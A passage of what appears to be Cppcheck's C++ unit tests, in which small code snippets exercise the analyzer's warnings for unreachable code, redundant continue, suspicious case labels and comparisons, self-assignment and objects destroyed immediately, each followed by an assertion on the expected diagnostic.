}\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* 